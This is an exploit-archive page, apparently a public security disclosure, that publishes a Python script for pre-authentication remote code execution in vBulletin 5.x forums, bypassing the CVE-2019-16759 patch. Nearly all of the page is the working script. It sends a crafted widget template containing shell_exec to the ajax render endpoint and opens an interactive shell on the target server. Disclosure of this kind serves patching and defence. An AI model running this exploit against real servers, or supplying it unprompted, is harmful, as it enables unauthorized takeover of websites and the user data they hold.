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vBulletin 5.x Remote Code Execution

vBulletin 5.x Remote Code Execution
Posted Aug 11, 2020
Authored by Zenofex | Site blog.exploitee.rs

vBulletin version 5.x pre-authentication widget_tabbedcontainer_tab_panel remote code execution exploit. This exploit demonstrates that the patch for CVE-2019-16759 was not sufficient. Written in python.

tags | exploit, remote, code execution, python
advisories | CVE-2019-16759
MD5 | 7f634e6b6aa1449d9669ac7fe9ef4d5b

vBulletin 5.x Remote Code Execution

Change Mirror Download
#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex

import argparse
import requests
import sys

def run_exploit(vb_loc, shell_cmd):
post_data = {'subWidgets[0][template]' : 'widget_php',
'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
}
r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
return r.text

ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
ARGS = ap.parse_args()

while True:
try:
cmd = input("vBulletin5$ ")
print(run_exploit(ARGS.location, cmd))
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception as e:
sys.exit(str(e))
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